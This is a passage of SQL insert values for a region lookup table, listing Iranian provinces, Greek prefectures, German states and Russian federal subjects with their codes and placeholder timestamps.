'0000-00-00 00:00:00', 0), (451, 1, 101, 0, 'Gilan', 'GIL', 'GI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (452, 1, 101, 0, 'Gorgan', 'GOR', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (453, 1, 101, 0, 'Hamadan', 'HAM', 'HA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (454, 1, 101, 0, 'Hormozgan', 'HOR', 'HO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (455, 1, 101, 0, 'Ilam', 'ILA', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (456, 1, 101, 0, 'Kerman', 'KER', 'KE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (457, 1, 101, 0, 'Kermanshah', 'BAK', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (458, 1, 101, 0, 'Khorasan-e Junoubi', 'KHJ', 'KJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (459, 1, 101, 0, 'Khorasan-e Razavi', 'KHR', 'KR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (460, 1, 101, 0, 'Khorasan-e Shomali', 'KHS', 'KS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (461, 1, 101, 0, 'Khuzestan', 'KHU', 'KH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (462, 1, 101, 0, 'Kordestan', 'KOR', 'KO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (463, 1, 101, 0, 'Lorestan', 'LOR', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (464, 1, 101, 0, 'Markazi', 'MAR', 'MR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (465, 1, 101, 0, 'Mazandaran', 'MAZ', 'MZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (466, 1, 101, 0, 'Qazvin', 'QAS', 'QA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (467, 1, 101, 0, 'Qom', 'QOM', 'QO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (468, 1, 101, 0, 'Semnan', 'SEM', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (469, 1, 101, 0, 'Sistan va Baluchestan', 'SBA', 'SB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (470, 1, 101, 0, 'Tehran', 'TEH', 'TE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (471, 1, 101, 0, 'Yazd', 'YAZ', 'YA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (472, 1, 101, 0, 'Zanjan', 'ZAN', 'ZA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (535, 1, 84, 0, 'ΛΕΥΚΑΔΑΣ', 'ΛΕΥ', 'ΛΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (532, 1, 84, 0, 'ΛΑΡΙΣΑΣ', 'ΛΑΡ', 'ΛΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (504, 1, 84, 0, 'ΑΡΚΑΔΙΑΣ', 'ΑΡΚ', 'ΑΚ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (503, 1, 84, 0, 'ΑΡΓΟΛΙΔΑΣ', 'ΑΡΓ', 'ΑΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (533, 1, 84, 0, 'ΛΑΣΙΘΙΟΥ', 'ΛΑΣ', 'ΛΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (534, 1, 84, 0, 'ΛΕΣΒΟΥ', 'ΛΕΣ', 'ΛΣ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (530, 1, 84, 0, 'ΚΥΚΛΑΔΩΝ', 'ΚΥΚ', 'ΚΥ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (553, 1, 84, 0, 'ΑΙΤΩΛΟΑΚΑΡΝΑΝΙΑΣ', 'ΑΙΤ', 'ΑΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (529, 1, 84, 0, 'ΚΟΡΙΝΘΙΑΣ', 'ΚΟΡ', 'ΚΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (531, 1, 84, 0, 'ΛΑΚΩΝΙΑΣ', 'ΛΑΚ', 'ΛK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (517, 1, 84, 0, 'ΗΜΑΘΙΑΣ', 'ΗΜΑ', 'ΗΜ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (518, 1, 84, 0, 'ΗΡΑΚΛΕΙΟΥ', 'ΗΡΑ', 'ΗΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (519, 1, 84, 0, 'ΘΕΣΠΡΩΤΙΑΣ', 'ΘΕΠ', 'ΘΠ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (520, 1, 84, 0, 'ΘΕΣΣΑΛΟΝΙΚΗΣ', 'ΘΕΣ', 'ΘΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (521, 1, 84, 0, 'ΙΩΑΝΝΙΝΩΝ', 'ΙΩΑ', 'ΙΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (522, 1, 84, 0, 'ΚΑΒΑΛΑΣ', 'ΚΑΒ', 'ΚΒ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (523, 1, 84, 0, 'ΚΑΡΔΙΤΣΑΣ', 'ΚΑΡ', 'ΚΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (524, 1, 84, 0, 'ΚΑΣΤΟΡΙΑΣ', 'ΚΑΣ', 'ΚΣ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (525, 1, 84, 0, 'ΚΕΡΚΥΡΑΣ', 'ΚΕΡ', 'ΚΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (526, 1, 84, 0, 'ΚΕΦΑΛΛΗΝΙΑΣ', 'ΚΕΦ', 'ΚΦ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (527, 1, 84, 0, 'ΚΙΛΚΙΣ', 'ΚΙΛ', 'ΚΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (528, 1, 84, 0, 'ΚΟΖΑΝΗΣ', 'ΚΟΖ', 'ΚZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (507, 1, 84, 0, 'ΑΧΑΪΑΣ', 'ΑΧΑ', 'ΑΧ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (508, 1, 84, 0, 'ΒΟΙΩΤΙΑΣ', 'ΒΟΙ', 'ΒΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (509, 1, 84, 0, 'ΓΡΕΒΕΝΩΝ', 'ΓΡΕ', 'ΓΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (510, 1, 84, 0, 'ΔΡΑΜΑΣ', 'ΔΡΑ', 'ΔΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (511, 1, 84, 0, 'ΔΩΔΕΚΑΝΗΣΟΥ', 'ΔΩΔ', 'ΔΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (512, 1, 84, 0, 'ΕΒΡΟΥ', 'ΕΒΡ', 'ΕΒ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (513, 1, 84, 0, 'ΕΥΒΟΙΑΣ', 'ΕΥΒ', 'ΕΥ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (514, 1, 84, 0, 'ΕΥΡΥΤΑΝΙΑΣ', 'ΕΥΡ', 'ΕΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (515, 1, 84, 0, 'ΖΑΚΥΝΘΟΥ', 'ΖΑΚ', 'ΖΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (516, 1, 84, 0, 'ΗΛΕΙΑΣ', 'ΗΛΕ', 'ΗΛ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (505, 1, 84, 0, 'ΑΡΤΑΣ', 'ΑΡΤ', 'ΑΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (506, 1, 84, 0, 'ΑΤΤΙΚΗΣ', 'ΑΤΤ', 'ΑΤ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (536, 1, 84, 0, 'ΜΑΓΝΗΣΙΑΣ', 'ΜΑΓ', 'ΜΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (537, 1, 84, 0, 'ΜΕΣΣΗΝΙΑΣ', 'ΜΕΣ', 'ΜΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (538, 1, 84, 0, 'ΞΑΝΘΗΣ', 'ΞΑΝ', 'ΞΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (539, 1, 84, 0, 'ΠΕΛΛΗΣ', 'ΠΕΛ', 'ΠΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (540, 1, 84, 0, 'ΠΙΕΡΙΑΣ', 'ΠΙΕ', 'ΠΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (541, 1, 84, 0, 'ΠΡΕΒΕΖΑΣ', 'ΠΡΕ', 'ΠΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (542, 1, 84, 0, 'ΡΕΘΥΜΝΗΣ', 'ΡΕΘ', 'ΡΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (543, 1, 84, 0, 'ΡΟΔΟΠΗΣ', 'ΡΟΔ', 'ΡΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (544, 1, 84, 0, 'ΣΑΜΟΥ', 'ΣΑΜ', 'ΣΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (545, 1, 84, 0, 'ΣΕΡΡΩΝ', 'ΣΕΡ', 'ΣΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (546, 1, 84, 0, 'ΤΡΙΚΑΛΩΝ', 'ΤΡΙ', 'ΤΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (547, 1, 84, 0, 'ΦΘΙΩΤΙΔΑΣ', 'ΦΘΙ', 'ΦΘ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (548, 1, 84, 0, 'ΦΛΩΡΙΝΑΣ', 'ΦΛΩ', 'ΦΛ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (549, 1, 84, 0, 'ΦΩΚΙΔΑΣ', 'ΦΩΚ', 'ΦΩ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (550, 1, 84, 0, 'ΧΑΛΚΙΔΙΚΗΣ', 'ΧΑΛ', 'ΧΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (551, 1, 84, 0, 'ΧΑΝΙΩΝ', 'ΧΑΝ', 'ΧΝ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (552, 1, 84, 0, 'ΧΙΟΥ', 'ΧΙΟ', 'ΧΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (569, 1, 81, 0, 'Schleswig-Holstein', 'SHO', 'SH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (554, 1, 81, 0, 'Freie und Hansestadt Hamburg', 'HAM', 'HH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (555, 1, 81, 0, 'Niedersachsen', 'NIS', 'NI', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (556, 1, 81, 0, 'Freie Hansestadt Bremen', 'HBR', 'HB', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (557, 1, 81, 0, 'Nordrhein-Westfalen', 'NRW', 'NW', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (558, 1, 81, 0, 'Hessen', 'HES', 'HE', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (559, 1, 81, 0, 'Rheinland-Pfalz', 'RLP', 'RP', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (560, 1, 81, 0, 'Baden-Württemberg', 'BWÜ', 'BW', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (561, 1, 81, 0, 'Freistaat Bayern', 'BAV', 'BY', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (562, 1, 81, 0, 'Saarland', 'SLA', 'SL', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (563, 1, 81, 0, 'Berlin', 'BER', 'BE', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (564, 1, 81, 0, 'Brandenburg', 'BRB', 'BB', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (565, 1, 81, 0, 'Mecklenburg-Vorpommern', 'MVO', 'MV', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (566, 1, 81, 0, 'Freistaat Sachsen', 'SAC', 'SN', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (567, 1, 81, 0, 'Sachsen-Anhalt', 'SAA', 'ST', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (568, 1, 81, 0, 'Freistaat Thüringen', 'THÜ', 'TH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (570, 1, 176, 0, 'Адыгея Республика', 'AD', '01', 1, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (571, 1, 176, 0, 'Алтай Республика', 'AL', '04', 2, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (572, 1, 176, 0, 'Алтайский край', 'ALT', '22', 3, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (573, 1, 176, 0, 'Амурская область', 'AMU', '28', 4, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (574, 1, 176, 0, 'Архангельская область', 'ARK', '29', 5, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (575, 1, 176, 0, 'Астраханская область', 'AST', '30', 6, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (576, 1, 176, 0, 'Башкортостан Республика', 'BA', '02', 7, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (577, 1, 176, 0, 'Белгородская область', 'BEL', '31', 8, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (578, 1, 176, 0, 'Брянская область', 'BRY', '32', 9, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (579, 1, 176, 0, 'Бурятия Республика', 'BU', '03', 10, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (580, 1, 176, 0, 'Владимирская область', 'VLA', '33', 11, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (581, 1, 176, 0, 'Волгоградская область', 'VGG', '34', 12, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (582, 1, 176, 0, 'Вологодская область', 'VLG', '35', 13, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (583, 1, 176, 0, 'Воронежская область', 'VOR', '36', 14, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (584, 1, 176, 0, 'Дагестан Республика', 'DA', '05', 15, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (585, 1, 176, 0, 'Еврейская автономная область', 'YEV', '79', 16, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (586, 1, 176, 0, 'Забайкальский край', 'ZAB', '75', 17, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (587, 1, 176, 0, 'Ивановская область', 'IVA', '37', 18, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (588, 1, 176, 0, 'Ингушетия Республика', 'IN', '06', 19, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (589, 1, 176, 0, 'Иркутская область', 'IRK', '38', 20, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (590, 1, 176, 0, 'Кабардино-Балкарская Республика', 'KB', '07', 21, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (591, 1, 176, 0, 'Калининградская область', 'KGD', '39', 22, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (592, 1, 176, 0, 'Калмыкия Республика', 'KL', '08', 23, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (593, 1, 176, 0, 'Калужская область', 'KLU', '40', 24, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (594, 1, 176, 0, 'Камчатский край', 'KAM', '41', 25, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (595, 1, 176, 0, 'Карачаево-Черкесская Республика', 'KC', '09', 26, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (596, 1, 176, 0, 'Карелия Республика', 'KR', '10', 27, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (597, 1, 176, 0, 'Кемеровская область', 'KEM', '42', 28, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (598, 1, 176, 0, 'Кировская область', 'KIR', '43', 29, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (599, 1, 176, 0, 'Коми Республика', 'KO', '11', 30, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (600, 1, 176, 0, 'Костромская область', 'KOS', '44', 31, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (601, 1, 176, 0, 'Краснодарский край', 'KDA', '23', 32, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (602, 1, 176, 0, 'Красноярский край', 'KIA', '24', 33, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (603, 1, 176, 0, 'Курганская область', 'KGN', '45', 34, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (604, 1, 176, 0, 'Курская область', 'KRS', '46', 35, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (605, 1, 176, 0, 'Ленинградская область', 'LEN', '47', 36, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (606, 1, 176, 0, 'Липецкая область', 'LIP', '48', 37, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (607, 1, 176, 0, 'Магаданская область', 'MAG', '49', 38, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (608, 1, 176, 0, 'Марий Эл Республика', 'ME', '12', 39, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (609, 1, 176, 0, 'Мордовия Республика', 'MO', '13', 40, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (610, 1, 176, 0, 'Москва', 'MOW', '77', 41, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (611, 1, 176, 0, 'Московская область', 'MOS', '50', 42, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (612, 1, 176, 0, 'Мурманская область', 'MUR', '51', 43, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (613, 1, 176, 0, 'Ненецкий автономный округ', 'NEN', '83', 44, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (614, 1, 176, 0, 'Нижегородская область', 'NIZ', '52', 45, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (615, 1, 176, 0, 'Новгородская область', 'NGR', '53', 46, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (616, 1, 176, 0, 'Новосибирская область', 'NVS', '54', 47, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (617, 1, 176, 0, 'Омская область', 'OMS', '55', 48, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (618, 1, 176, 0, 'Оренбургская область', 'ORE', '56', 49, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (619, 1, 176, 0, 'Орловская область', 'ORL', '57', 50, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (620, 1, 176, 0, 'Пензенская область', 'PNZ', '58', 51, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (621, 1, 176, 0, 'Пермский край', 'PER', '59', 52, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (622, 1, 176, 0, 'Приморский край', 'PRI', '25', 53, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (623, 1, 176, 0, 'Псковская область', 'PSK', '60', 54, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (624, 1, 176, 0, 'Ростовская область', 'ROS', '61', 55, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (625, 1, 176, 0, 'Рязанская область', 'RYA', '62', 56, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (626, 1, 176, 0, 'Самарская область', 'SAM', '63', 57, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (627, 1, 176, 0, 'Санкт-Петербург', 'SPE', '78', 58, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (628, 1, 176, 0, 'Саратовская область', 'SAR', '64', 59, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (629, 1, 176, 0, 'Саха (Якутия) Республика', 'SA', '14', 60, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (630, 1, 176, 0, 'Сахалинская область', 'SAK', '65', 61, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (631, 1, 176, 0, 'Свердловская область', 'SVE', '66', 62, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (632, 1, 176, 0, 'Северная Осетия-Алания Республика', 'SE', '15', 63, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 